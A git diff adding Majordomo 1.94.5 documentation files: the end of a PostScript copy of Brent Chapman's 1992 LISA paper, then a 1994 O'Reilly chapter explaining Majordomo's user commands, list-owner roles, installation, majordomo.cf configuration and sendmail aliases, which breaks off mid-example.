+2511 X(FTP)s +2626 X(.GreatCircle)s +2956 X(.COM,)s +3242 X(in)s +3394 X(\256le)s +2016 X +4120 Y("pub/majordomo)s +2468 X(.tar)s +2556 X(.Z")s +2641 X(.)s +2756 X(If)s +2876 X(you)s +3051 X(do)s +3193 X(not)s +3354 X(have)s +2016 X +4193 Y(anonymous)s +2358 X(FTP)s +2508 X(access,)s +2732 X(contact)s +2961 X(me)s +3078 X(\(contact)s +3329 X(infor-)s +2016 X +4266 Y(mation)s +2257 X(is)s +2357 X(in)s +2464 X(the)s +2601 X("Author)s +2872 X(Information")s +3273 X(section,)s +2016 X +4339 Y(below\),)s +2243 X(and)s +2364 X(I'll)s +2471 X(try)s +2570 X(to)s +2647 X(get)s +2754 X(a)s +2809 X(copy)s +2962 X(to)s +3038 X(you)s +3161 X(by)s +3251 X(email)s +3425 X(or)s +2016 X +4412 Y(some)s +2179 X(other)s +2338 X(means)s +2509 X(.)s +2016 X +4506 Y +2160 X(If)s +2237 X(you)s +2369 X(install)s +2567 X(Majordomo,)s +2931 X(please)s +3132 X(add)s +3262 X(yourself)s +2016 X +4579 Y(to)s +2245 X(the)s +2504 X(mailing)s +2885 X(list)s +3144 X(Majordomo)s +3458 X(-)s +2016 X +4652 Y(Users@GreatCir)s +2463 X(cle)s +2542 X(.COM,)s +2768 X(which)s +2972 X(is)s +3058 X(for)s +3176 X(discussions)s +2016 X +4725 Y(concerning)s +2337 X(use)s +2451 X(of,)s +2548 X(problems)s +2821 X(with,)s +2981 X(and)s +3101 X(enhancements)s +360 X +4967 Y +f.B 10 Z(142)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 143 9 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(for)s +704 X(Majordomo)s +1018 X(.)s +1085 X(Announcements)s +1546 X(of)s +1629 X(new)s +1768 X(releases)s +2009 X(of)s +600 X +521 Y(Majordomo)s +1012 X(will)s +1214 X(be)s +1374 X(sent)s +1579 X(to)s +1728 X(Majordomo)s +2042 X(-)s +600 X +594 Y(Announce@Great)s +1083 X(Circle)s +1247 X(.COM)s +1415 X(.)s +1476 X(You)s +1612 X(can)s +1727 X(add)s +1846 X(yourself)s +600 X +667 Y(to)s +679 X(either)s +859 X(or)s +941 X(both)s +1086 X(lists)s +1222 X(by)s +1315 X(sending)s +1549 X(appropriate)s +1879 X(Major-)s +600 X +740 Y(domo)s +814 X(commands)s +1166 X(to)s +1281 X(the)s +1427 X(electronic)s +1756 X(mail)s +1940 X(alias)s +600 X +813 Y(Majordomo@Grea)s +1105 X(tCircle)s +1288 X(.COM)s +1456 X(.)s +600 X +940 Y +1043 X +f.B 10 Z(Author)s +1272 X(Information)s +600 X +1049 Y +744 X +f.R 10 Z(Brent)s +915 X(Chapman)s +1193 X(is)s +1261 X(a)s +1315 X(consultant)s +1614 X(in)s +1690 X(the)s +1796 X(San)s +1920 X(Fran-)s +600 X +1122 Y(cisco)s +779 X(Bay)s +927 X(Area,)s +1115 X(specializing)s +1477 X(in)s +1570 X(the)s +1692 X(con\256guration,)s +600 X +1195 Y(operation,)s +897 X(and)s +1021 X(networking)s +1353 X(of)s +1437 X(UNIX)s +1632 X(systems)s +1844 X(.)s +1912 X(He)s +2019 X(is)s +600 X +1268 Y(also)s +745 X(currently)s +1023 X(Postmaster)s +1354 X(for)s +1468 X(SAGE)s +1679 X(\(the)s +1820 X(USENIX)s +600 X +1341 Y(Special)s +868 X(Technical)s +1203 X(Group)s +1442 X(focusing)s +1741 X(on)s +1878 X(system)s +600 X +1414 Y(administration)s +1011 X(issues\))s +1193 X(.)s +1256 X(During)s +1468 X(the)s +1574 X(last)s +1692 X(several)s +1906 X(years,)s +600 X +1487 Y(he)s +697 X(has)s +820 X(been)s +980 X(an)s +1078 X(operations)s +1391 X(manager)s +1656 X(for)s +1768 X(a)s +1833 X(\256nancial)s +600 X +1560 Y(services)s +883 X(company,)s +1211 X(a)s +1307 X(world)s +1462 X(-renowned)s +1812 X(corporate)s +600 X +1633 Y(research)s +848 X(lab,)s +972 X(a)s +1028 X(software)s +1284 X(engineering)s +1625 X(company,)s +1912 X(and)s +2034 X(a)s +600 X +1706 Y(hardware)s +922 X(engineering)s +1310 X(company)s +1554 X(.)s +1666 X(He)s +1817 X(holds)s +2034 X(a)s +600 X +1779 Y(Bachelor)s +865 X(of)s +944 X(Science)s +1177 X(degree)s +1379 X(in)s +1455 X(Electrical)s +1738 X(Engineering)s +600 X +1852 Y(and)s +727 X(Computer)s +1023 X(Science)s +1262 X(from)s +1421 X(the)s +1533 X(University)s +1845 X(of)s +1930 X(Cali-)s +600 X +1925 Y(fornia,)s +802 X(Berkeley)s +1043 X(.)s +1108 X(He)s +1212 X(can)s +1332 X(be)s +1422 X(contacted)s +1706 X(by)s +1799 X(electronic)s +600 X +1998 Y(mail)s +760 X(to)s +852 X(Brent@GreatCirc)s +1325 X(le)s +1374 X(.COM,)s +1599 X(by)s +1704 X(phone)s +1905 X(at)s +1993 X(+1)s +600 X +2071 Y(415)s +729 X(962)s +858 X(0841,)s +1037 X(by)s +1133 X(FAX)s +1296 X(at)s +1375 X(+1)s +1476 X(415)s +1605 X(962)s +1734 X(0842,)s +1913 X(or)s +1998 X(by)s +600 X +2144 Y(U)s +648 X(.S)s +702 X(.)s +759 X(Mail)s +926 X(to)s +1018 X(Great)s +1207 X(Circle)s +1411 X(Associates,)s +1755 X(1057)s +1926 X(West)s +600 X +2217 Y(Dana)s +763 X(St)s +819 X(.,)s +875 X(Mountain)s +1156 X(View,)s +1340 X(CA)s +1454 X(94041)s +1619 X(.)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(143)s +5280 Y +pagebot + +%%Page: 144 10 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +4967 Y(144)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Trailer +lastpage diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora new file mode 100644 index 0000000..047e8ef --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora @@ -0,0 +1,1718 @@ +This file is the chapter about Majordomo from the Nutshell Handbook +"Managing Internet Information Services," written by Jerry Peek. +The chapter is (c) Copyright 1994 by O'Reilly & Associates, Inc., +and was included in the Majordomo distribution by permission of the +publisher. You may not edit, adapt, or redistribute changed versions +of this for other than your personal use without the express written +permission of O'Reilly & Associates. Sorry for the legal jargon; +we said that to protect our copyright! + +This draft chapter is current as of March 15, 1994 but might not be +kept up to date with the software. The book version may also become +different over time. + +In a few places, this chapter refers to previous chapters of the book. +If you want to see those chapters, too, you'll have to buy the book ;-) +(or borrow it). + +If you have comments or corrections, please send email to +bookquestions@ora.com, phone +1-707-829-0515, or send snail mail to +O'Reilly & Associates; 103A Morris Street; Sebastopol, CA 95472 USA. + + + +Majordomo is a set of programs written in Perl that automate operation +of multiple mailing lists. Majordomo automatically handles routine +requests to subscribe or unsubscribe; it also has "closed lists" that +route all subscription requests to a "list owner" for approval. It +also supports "moderated lists" that send all messages to the list +owner for approval before they're sent to subscribers. Once the list +is set up, it can be controlled by electronic mail, so the list owner +need not be on the machine where Majordomo is running. It can also +maintain simple archives and deliver them via e-mail. + +Although you don't need to know Perl to run Majordomo, the Perl +interpreter must be installed on the computer where you run Majordomo. +Perl's source code is freely available from archives around the +Internet, such as ftp.uu.net. You can also get ready-to-run versions +from the CD-ROM that comes with the book "UNIX Power Tools." (For more +information about Perl, see the Nutshell Handbooks "Learning Perl" by +Randal Schwartz and "Programming Perl" by Larry Wall and Randal +Schwartz.) + +Majordomo's developer and maintainer, Brent Chapman, developed +Majordomo for his own purposes (managing the mailing lists for SAGE, +the System Administrators Guild). He didn't try to make the software +do everything a list server could possibly do. Majordomo is popular +anyway; it's good software that fills a real need. This chapter covers +Majordomo version 1.62, which is available free via ftp. + +One of Majordomo's real strengths is its relative simplicity. You can +figure it out in a few hours. ListProcessor, another major mailing +list management system, requires much longer--so much so that we +couldn't cover it effectively in a book of this size. We've left it +for another book. But if you intend to manage huge lists, +ListProcessor provides lots of useful features that can make it well +worth the effort. We use ListProcessor for our company mailing lists. +Chapter 1 has a short comparison of Majordomo and ListProcessor. + +A good way to learn more about Majordomo is by subscribing to the +majordomo-users mailing list. Send a subscription request to +majordomo@greatcircle.com--see "A User's View of Majordomo", below, +for instructions. (Another list on the same host, majordomo-announce, +announces new versions of Majordomo as well as bug fixes. The +majordomo-workers list is for people who develop Majordomo.) + +The first section of this chapter gives an overview of Majordomo as it +is seen by users, list owners, and administrators; it also mentions a +planned new release, Majordomo 2.0. Then comes installation, creation +of lists, and testing. Finally there's a description of how to run and +maintain a list. + + +AN OVERVIEW OF MAJORDOMO + +Before we dip into the intricacies of setting up and running Majordomo +mailing lists, it will be helpful to get an overview of how it works +from the user's perspective, how the list owner manages a list, and how +the various programs that make up the Majordomo package work together. + + +A User's View of Majordomo + +First here's a user's guide to the Majordomo package. (Actually, this +is an introduction to majordomo, the program which provides all of +these functions.) It explains subscription, unsubscription, and all +the other Majordomo commands available to users. It also includes some +notes for the person running the list about who has permission to use +some commands. (The section "List Server Software" in Chapter 1 shows +how users interact with a list server.) + +A user can subscribe to a list, or ask about his or other users' +subscriptions, by sending mail to the majordomo server, usually +majordomo@hostname. Put the commands in the body of the mail message +(not on the "Subject:" header component). Other than white space, the +commands must be the first text in the message body; in other words, +don't begin with "Dear Majordomo." + +In the sections below, items in brackets ([]) are optional. If you +include the optional item, don't type the brackets. + +- help + + Sends one-line summaries of majordomo commands. The first line of + output tells you which version of Majordomo the server is running. + +- info list + + Sends an introduction to the list "list". + +- lists + + Shows the lists served by this majordomo server. + +- subscribe list [address] + + This command subscribes a user to the named "list". Unless the user + includes the optional "address", Majordomo will use the e-mail + address in the mail message header ("Reply-to:", if any, otherwise + "From:") to send mail to the user. + +- unsubscribe list [address] + + This unsubscribes the user (or "address") from "list". + +- which [address] + + Tells the lists to which the user (or "address") is subscribed. + +- who list + + Lists the subscribers of "list". + +- index list + + Gives a listing of files in the "list" archive. If the list is + private, only members can run this command. Only for Majordomo + versions 1.54 and later. + +- get list filename + + Mails a file named "filename" from the "list" archive. If the list + is private, only members can run this command. Only for Majordomo + versions 1.54 and later. + +- end + + Stops reading the message. This is useful for users whose mailer + adds text (like a signature) to the end of a message. + + A line that starts with a dash (-) is also treated as an "end" + command by newer versions of Majordomo. Because many peoples' mail + message signatures start with some dashes, this avoids error + messages. + + +Majordomo for List Owners + +The list owner is the person (or persons) who will run day-to-day +operations of a mailing list by responding to mail messages from +Majordomo. Each mailing list operated by Majordomo can have its own +list owners. + +Majordomo has "open" and "closed" lists. A subscriber to an open list +will be approved automatically unless they specify an "address" +different from the one in their e-mail header. All subscriptions to +closed lists will be sent to the list owner for approval. + +If you'd like a list with the absolute minimum of maintenance (but also +a minimum of security), you could create an "auto" list. All +subscription or unsubscription requests will be honored without any +input from the list owner. For example, anyone could unsubscribe +anyone else. + +Majordomo also has "public" and "private" lists. In a public list, +subscribers have access to information about other subscribers through +the "who" and "which" commands; in a private list, they don't. When a +list is private, only subscribers can use the archive commands "index" +and "get". + +The owner can potentially receive four types of messages: requests to +approve subscriptions (or unsubscriptions), requests to approve +messages to the list, notifications of successful subscriptions or +unsubscriptions, and bounces (messages sent to the list that weren't +delivered). Which of these the owner receives, and how many, depends +on the setup of the list (and of course, how many members the list +has). Majordomo provides the "approve" script to help handle approval +of subscriptions and messages, and "bounce" to help handle bounces. + + +Majordomo for Administrators + +The administrator in this context is the person who installs Majordomo, +creates new lists, or changes the settings (moderated or not, private +or public, etc.) of existing lists. Unlike a list owner, the +administrator needs to have direct access to the system where Majordomo +is running. In many cases, the list owner and the administrator are +the same person, but they don't need to be. + +Majordomo is actually a suite of Perl scripts, not just one. In this +chapter, the name Majordomo (with an uppercase "M") refers to the whole +package of programs and files. majordomo (with a lowercase "m") means +the individual program with that name. Here is an outline of what each +program and file in the Majordomo package does: + +- "majordomo" (the program itself) is run each time a message arrives + for the address majordomo@hostname. It figures out what approval is + necessary and sends mail to the list owner as necessary, or simply + performs the requested commands. Unlike a lot of system services, + majordomo doesn't run constantly (as a daemon). It's started by your + system MTA when a message comes in. The disadvantage is that you + don't have much control over Majordomo on a busy system. The + advantage is that there's no daemon process to crash. + +- "resend" - When a message arrives to appear on a list, "resend" + checks the message according to its command line options. If the + message must be approved or if there are other problems, the message + is forwarded to the list owner. Otherwise, "resend" edits the + header, then hands the single message to the computer's MTA for + distribution to the list. "resend" rewrites headers of messages but + uses the system's mail transfer agent (MTA) for mail delivery to the + lists. + +- The "wrapper" program allows other Majordomo programs to run as a + "trusted user"--so programs can set the correct envelope sender + address. It's the only part of the Majordomo package that's written + in the C language. (The rest is in Perl.) + +- The "bounce" script helps owners handle subscribers whose mail is + bouncing. The "bounce-remind" script tries to notify those + subscribers about the problem. + +- The "approve" script is also for owners. It simplifies approval of + subscriptions or moderated messages. + +- "new-list" answers mail sent to a new list. Its replies ask people + to wait to send messages until the list owner opens the list for + business. + +- "request-answer" answers mail to the address "listname-request" + (see Chapter 2). The replies tell people to mail to majordomo--and + how to find out more about the server. + +- "majordomo.cf" sets the configuration of the Majordomo system. + +You can control whether a list is open, public, moderated, and several +other aspects of a list by creating files of the form +"listname.option". For example, to make a closed list, you simply +create an empty file called "listname.closed". (This will change in +Majordomo 1.90; you'll use an overall configuration file for each list +instead.) + +The owner is notified of all successful "subscribe" and "unsubscribe" +actions. If you don't want the owner to be notified, you can edit two +subroutines in the majordomo script: "welcome" sends subscription +notices; "do_unsubscribe" sends unsubscription notices. + + +Majordomo 2.0 is Coming + +Since late 1993, people have been working on major revisions to +Majordomo. A new version, 1.90, should be ready by the time this book +is printed. Version 1.90 has a new config file format and includes the +"digest" program as part of Majordomo. A list of the planned changes +for list owners is in the section called "Majordomo Commands for List +Owners". + +Majordomo 2.0 isn't cast in stone yet. Besides the changes in version +1.90, above, some of the major changes in version 2.0 will probably +be: + +- The local site can define new Majordomo commands and add to existing + commands. For instance, a site could change the "unsubscribe" + command to let users subscribe from all lists by sending + "unsubscribe *". + +- Replies can be edited automatically. For instance, large replies + could be split into a series of smaller messages. + +- The "help" command will take arguments. Instead of getting help for + all commands, a user could get help for just the "subscribe" command + by sending "help subscribe". + + + +INSTALLING MAJORDOMO + +In general, if you have a recent version of Perl on your UNIX system, +majordomo should work too. You'll need to set up the "majordomo.cf" +file, and maybe tweak a couple of the scripts. You'll also need a C +compiler for the "wrapper" program (although you can work around that +by copying a compiled version of "wrapper" from someone else who has +the same computer and operating system). But because the system is so +simple and the code is so straightforward, it isn't hard to solve +problems (especially if you've joined the majordomo-users mailing +list). + +In the directions below, a name like $whoami is a Perl variable. Most +variables I cover are defined in the "majordomo.cf" file (see below). + +**NOTE** Although I show a step-by-step procedure here, I can't promise +you that the following steps are exactly what you need for your +computer. Your system might be different. You may have a different +version of Majordomo than the one I installed. Please use these steps +as a GUIDE only. + +Here are the steps: + +1. Be sure that your system has Perl version 4.035 (or later) and its + libraries. + +2. Some sites give majordomo another name ("listmgr", "lists", etc.). + I don't recommend doing that unless you have a good reason: + especially as more documentation about Majordomo becomes available, + users may just get confused by giving the system other names. + Also, after Majordomo upgrades, you'll have to patch the system + again. + + If you decide to change the name, edit all of the code references + to majordomo that are visible to users. For example, change the + subject of mail messages that say "Majordomo results." You don't + need to change filenames like "majordomo.cf". You definitely + shouldn't change the help file line that says "This is the + Majordomo listmanager written by Brent Chapman." + +3. Pick a username, group name, and home directory for Majordomo. + A good name for both user and group is "majordom" (but not + "majordomo"; it's over the 8-character limit). I made the home + directory /usr/local/majordomo. + + As superuser, add that user and group to /etc/passwd and + /etc/group. Make the home directory, set its owner and group to + "majordom", and set its mode to 775. + + If the person who manages Majordomo doesn't want to "su" to + "majordom", you should add the manager's account to the "majordom" + group. (I think it's not a good idea to maintain Majordomo as the + superuser; permissions and ownerships can accidentally be set + wrong.) If there are list owners on the system, and if they should + be doing routine maintenance, add them to the "majordom" group, + too. + +4. Set up the Majordomo directory structure. Although I like to keep + all of Majordomo and its list files under Majordomo's home + directory, you don't have to. The structure is flexible; you can + separate the programs and the lists if you want to (see the sample + majordomo.cf file a few steps ahead). Here's the structure I'm + using. + + My home directory holds the $log file and the majordomo.cf + configuration file. The subdirectories are: + + - "archive" has subdirectories that hold list archive files. + + - "bin" is where I extracted the Majordomo distribution file: + executable scripts and documentation are here. The documentation + and sample configurations are in a subdirectory named "Doc"; you + might want to move some or all of it somewhere else. + + - "lists" has the files for the lists: subscribers, passwords, and + so on. + + If you aren't installing all of Majordomo in its home directory, + create the other directories now and set their ownership. Create + an empty $log file with owner & group "majordom" and mode 664. + +5. Now you can "su" to the new "majordom" account. (Most of the rest + of the installation doesn't need to be done as root.) + +6. Get a Majordomo distribution file from ftp.greatcircle.com in the + pub/majordomo directory. While you're there, get Brent's paper + about Majordomo (majordomo.paper.ps.Z, in compressed PostScript + format). It's titled "Majordomo: How I Manage 17 Mailing Lists + Without Answering `-request' Mail". The paper has an interesting + overview of how and why he wrote Majordomo, as well as an + introduction to Majordomo for users and administrators. The + Majordomo version it covers is fairly out of date now. To find out + about any new documentation, read the "Changes" file in the + Majordomo distribution. + + In the directory /pub/majordomo/archive are monthly archive files + of all the articles posted to the majordomo mailing lists. They're + worth browsing through someday in your copious free time. There's + lots of information that we don't have the room to cover in this + book. + +7. Extract the Majordomo distribution file into whatever directory you + chose. + + Each Perl script starts with a line that contains the pathname of + the Perl interpreter on Brent's system. If your Perl is in a + different place, you'll need to edit all the script files that + start with "#!" and fix that line. For instance, if your Perl + executable is /stuff/bin/perl, change the first lines to look + like: + + #!/stuff/bin/perl + + Note that the version of "resend" with Majordomo 1.62 (and probably + others) has a "-U" option at the end of the "#!" line. Don't + forget it. + +8. You might want to look through each program for an idea of how it + works. At least, read the "README", "Description", and + "resend.README" files. The "Changes" file also explains some + things that the other files don't. The Doc/samples directory has + samples of files for different list configurations. + +9. Configure Majordomo. Copy the sample.cf to become the majordomo.cf + file. Edit majordomo.cf to set the locations of directories and + files. This is Perl code, so each line (except comments) has to + end with a semicolon (;): + + # $whereami -- Hostname to advertise for machine I'm running on: + $whereami = "ora.com"; + + # $whoami -- Address for users to send my requests: + $whoami = "Majordomo@$whereami"; + + # $whoami_owner -- owner of the above, in case of problems: + $whoami_owner = "Owner-Majordomo@$whereami"; + + # $homedir -- Directory with my extra .pl files, like + # majordomo.pl, shlock.pl, and majordomo_version.pl: + $homedir = "/usr/local/majordomo/bin"; + + # $listdir -- Directory with files for mailing lists: + $listdir = "/usr/local/majordomo/lists"; + + # $log -- Full pathname of the log file I write: + $log = "/usr/local/majordomo/Log"; + + # $mailer -- Program and arguments I use to send mail: + $mailer = "/usr/lib/sendmail -oi -f\$sender \$to"; + + # Majordomo will look for "get" and "index" files related to $list + # in directory "$filedir/$list$filedir_suffix": + $filedir = "/usr/local/majordomo/archive"; + $filedir_suffix = ""; + + # $index_command -- Command for processing an "index" request. + # Majordomo does chdir("$filedir/$list$filedir_suffix") first. + # This one makes a little heading without permissions, links, + # or owner name. This won't work if you use ls -lRL instead: + $index_command = "/bin/ls -lL | \\ + /bin/sed -e 's/^......................//' \\ + -e '1s/.*/ SIZE DATE NAME/'" + + # If you want to use FTPMAIL, rather than local access, for + # file transfer and access, define the following: + # $ftpmail_address = "ftpmail@decwrl.dec.com"; + # $ftpmail_location = "FTP.$whereami"; + + The sendmail "-f\$sender" sets the message's "envelope sender" + address. The backslash (\) makes sure the Perl variable $sender, + which is set by "resend", isn't interpreted until the mail is + sent. In the same way, the "\$to" is replaced with the destination + address. The "-oi" option tells sendmail not to quit if it sees a + line with just a dot (.). If you have big lists or a busy system, + you might also add "-odq" to queue all messages instead of trying + to deliver them immediately. + + Of course, if you don't have sendmail, use a command for sending mail + with your system's MTA. + + I've also hacked the $index_command to make a simpler archive index + than the default "ls -lRL" command does. This makes the output + more user-friendly for users who don't know UNIX, but it won't work + if a list's archive has sub-archives (subdirectories). + +10. Majordomo looks for its configuration file in /etc/majordomo.cf + unless you set the W_MAJORDOMO_CF variable for "wrapper" that makes + it look somewhere else. My personal preference is to keep master + copies of my local files off of /etc, so I made a symbolic link + from /etc/majordomo.cf to /usr/local/majordomo/majordomo.cf. + +11. Install the "wrapper" program. It lets the majordomo script run as + a "trusted user." On non-POSIX systems, that's normally the user + "daemon"; on POSIX systems, it's "root". + + Edit the Makefile and set the "make" macros W_BIN and + W_MAJORDOMO_CF for "wrapper". W_BIN should point to the same + directory as $homedir in the majordomo.cf file. Give + W_MAJORDOMO_CF the absolute pathname of the majordomo.cf file. + Also check W_PATH, W_HOME, W_SHELL; they set the environment + variables PATH, HOME, and SHELL, respectively, during "wrapper". + If you're using a POSIX system, remove the comment characters from + the front of the POSIX section and add them to the non-POSIX + section. + + Some day the "wrapper" program may be eliminated. If you're using + a version of Majordomo newer than version 1.90 and "wrapper" is + missing, see the "Changes" file. + + Go back to the superuser account. (If your shell has job control + and the "suspend" command, that's an easy way to drop back to + "root". [That's assuming you originally typed "su majordom" from + the "root" account.] When you're ready to be "majordom" again, just + use "fg".) Run "make" to build the "wrapper" program. If you + decided to install "wrapper" somewhere other than the current + directory, run "make install". + +12. You may want to copy or move the online manual pages from the + Doc/man directory to your system's online manual page area. + +13. While you're the superuser, edit the MTA alias file to add aliases + like these: + + owner-owner: postmaster + # + # Majordomo + # + majordomo: "|/usr/local/majordomo/bin/wrapper majordomo" + majordom: owner-majordomo + majordomo-owner: jerry + owner-majordomo: majordomo-owner + + (There's a sample MMDF aliases file in the section "For MMDF + Systems", below.) + + If your "aliases" file doesn't have an "owner-owner" alias, we + recommend it (actually, the Nutshell Handbook "sendmail" does). + Using this special alias will help to find any problems with the + zillions of other "owner-xxx" aliases that you'll be adding as you + configure Majordomo lists. Errors in any "owner-" alias will go to + the system postmaster. + + The setup of the similar-looking "xxx-owner" and "owner-xxx" + aliases is important if you use sendmail version 8. The setup + above makes the envelope sender address "majordomo-owner" instead + of a person's address (here, "jerry"). See the section of Chapter + 2 called "Envelope Sender in Sendmail Version 8". + + Notice that the "majordomo" alias doesn't have the absolute + pathname of the majordomo program. For security, the absolute + pathname is hardcoded into the "wrapper" binary. If you move the + majordomo program, the alias won't work until you recompile + "wrapper". + + Be sure that mail sent to the "majordom" user is routed somewhere. + A sendmail alias could route it to "majordomo" (a good choice if + you'll be getting much mail from systems that truncate mail + addresses to an 8-character length). The alias above routes + "majordom" mail to the person in charge of Majordomo. You could + also use a program like "canned_reply" (see Chapter 1). + + If this sendmail alias file is shared by more than one host, and + they won't all be running the same Majordomo setup (which isn't + likely), you've got some configuring to do. The section of Chapter + 2 called "Problems with Your Local Network" has some tips. + + If your system needs it, run "newaliases" to rebuild the alias + database. + +14. You or list owners may want to have a "bounces" mailing list set + up. If you do, this is a good time to add the aliases and make the + list files. (See the section below named "Setting Up Lists".) + +15. I edited the "request-answer" program to change the mail message + it sends. + Now the message also explains other e-mail addresses at our company. + +Before you turn your users and list owners loose on the system, set up +at least one list and test your system. The section below explains how +to do that. + + +SETTING UP LISTS + +Once you've got Majordomo installed, you'll want to create one or more +mailing lists. The following sections provide a step-by-step procedure +for creating a mailing list, how to make a list moderated, and how to +test the list to make sure it's working. + + +Creating a New List + +New lists are created by adding files to the $listdir directory (named +in majordomo.cf) and by making entries in your MTA aliases file. Here +are the steps: + +1. Pick a name for the list: letters, digits, underbars (_), or dashes + (-) only. To avoid confusing users, it's a good idea not to use + both underbars and dashes for your system's listnames. Choose one + or the other, then use it consistently. + +2. Decide who'll own the list. The address of this person (or + persons) will go on the "listname-approval" and "listname-owner" + aliases for the list. + +3. The owner should pick the subscription approval password. Store it + in the "listname.passwd" file in the $listdir directory. Use + "chmod" to set the file mode to 660. As for all other Majordomo + files, be sure that the group owner is "majordom". + +4. The owner should write a description of the list to be mailed out + for "info" requests and for new subscriptions. Store the + description in the "listname.info" file in the $listdir directory. + (Hint: a good description in the "info" file will save you time by + avoiding questions later.) Set the file mode to 664. + +5. If you want the list to be archived, create a file in the archive + area. Optionally, create an archive directory for the list, in the + location specified by the $filedir and $filedir_suffix variables. + Set the file mode to 664. + +6. Set the subscription policy. If the list owner wants all requests + to be approved automatically, including requests by any user to + subscribe or unsubscribe any other user, create an empty file named + "listname.auto" in the $listdir directory. The list owner will + still be notified when people subscribe or unsubscribe but won't + have to approve them. + + If there isn't a "listname.auto" file, non-routine subscriptions + (requests by any user to subscribe or unsubscribe any other user) + will be sent to the list owner. Routine subscriptions will be + approved automatically (unless there's a "listname.closed" file; + see below). + + A "closed list" requires the list owner to approve all + subscriptions. To close a list, create an empty file named + "listname.closed" in the "lists" directory. To open the list, + remove that file. + +7. Decide whether you want to include comments in the subscriber + list. Normally, Majordomo stores the complete address it gets for + each subscriber. That includes comments like "Jerry Peek" or + "(Phone 123-4567, FAX 234-5678)". These can help you (and other + people) find subscribers when the e-mail address isn't enough. If + you create an empty file named "listname.strip" in the $listdir + directory, comments won't be stored with addresses. + +8. By default, anyone (even non-subscribers) can use the commands + "who", "which", "index", and "get" on a list. If you create an + empty file named "listname.private" in the $listdir directory, only + members of the list can use those commands. + +9. Make a file in the $listdir directory to hold the list's + subscribers. The filename is the same as the listname. + +10. Set up list distribution. The "resend" script, run by the + "wrapper" program, receives and distributes mail for each list. + (Strictly speaking, you don't need "resend" for a simple list. You + can let majordomo manage the subscriber list and use a simple + sendmail alias to distribute messages. But unless you have a + problem with "resend", its features will usually be a help.) + + The table below explains the "resend" options you can use; the only + required options are "-l" (the list name) and "-h" (the host name). + Pick the options and settings you'll use; there are examples below. + You should probably check the "resend.README" file for any changes + in this list of options. + + - "-C config-file" names an alternate configuration file that only + "resend" uses. The default is the main majordomo.cf file. + + If you use the "-C" option, it MUST BE THE FIRST OPTION given. + + - "-l list-name", which is required, gives the name of the mailing + list. + + - "-h host-name", which is required, gives the fully-qualified + domain name of the computer running Majordomo. + + - "-A" makes the list moderated. To create a moderated list, see + the section below called "Making a Moderated List". (Use the + "-a" option, too.) Also see the "-I" option. + + - "-a password" sets the approval password for moderated lists + and other messages that have been rejected for some reason. + (If the list will be moderated, use the "-A" option, too.) + + If the argument starts with a slash (/), it's used as the + pathname to a file that contains the password. If your MTA has + an SMTP VRFY command, use a pathname for security; see the + section "Making a Moderated List". + + - "-d" sets debugging: instead of running the commands, "resend" + writes the command lines it would run to its standard output. + + - "-f from-address" is used as the "envelope sender" address for + messages on the list. (See the part of Chapter 1 called "`From ' + vs. `From:'".) It's also the "approval address" used for any + message that "resend" needs to bounce to the list owner. If you + don't give "-f", the default address is "listname-request". + + - "-I filenames" is used to restrict who can post to a list. The + "filenames" argument is a list of one or more files, separated + by colons (:), in the $listdir directory. The files contain + addresses that are allowed to send messages to the list. If the + message doesn't have a valid "Approved:" header and the sender's + "From:" address isn't on this list, the message will be bounced + to the list owner. + + For example, a company might want a general announcements list + that only a few employees should send messages to. Instead of + making the list moderated (which would add overhead) they can use + the name of a file with the addresses of people who are approved + to send mail to the list. This isn't very secure because any + user can forge a "From:" address easily. Still, this is an easy + way to stop messages (replies, for example) from being sent to + the list accidentally. It also doesn't require all the people + who post to know the article approval password. + + - "-m sendmail-flags" is the place to store any sendmail flags you + want used when mail is sent to the list. For example, "-m -odq" + will queue messages instead of trying to deliver them + immediately. To use more than one sendmail option, put single + quotes around the options--for example, "-m '-odq -oi'". + + - "-M maximum-message-length" is the maximum message size, in + bytes, that "resend" will send to the list. Bigger messages are + forwarded to the list owner for approval. + + - "-p precedence" will add a "Precedence: precedence" header + component to messages. Many lists use "-p bulk". (See the + section of Chapter 1 called "Bounced Mail".) + + - "-R" will delete "Received:" header components on incoming + messages. + + - "-r reply-to" will add a "Reply-To: reply-to" header component. + + - "-s" enables "administrivia" checks. With this option, "resend" + does two checks of each message. If the message's subject has a + word that ends in "subscribe" or "unsubscribe", upper or lower + case, it will be bounced. Also, if the first five lines of the + message body have the words "add me", "delete me", "subscribe", + "sub", "unsubscribe", or "unsub", upper or lower case, anywhere + in those lines, the message will be bounced. + + The list owner can bypass the administrivia checks by adding a + valid "Approved:" header and re-sending the message to the list. + +11. Add list aliases to the sendmail (or other MTA) aliases file. Here + are some for an unmoderated, archived list named "sample" on the + host foo.com.au: + + # + # Sample mailing list + # + owner-sample: sample-owner + sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk -M 10000 + -R -l Sample -f Sample-Owner -h foo.com.au -s sample-outgoing" + sample-owner: jerry + sample-approval: sample-owner + sample-outgoing: + 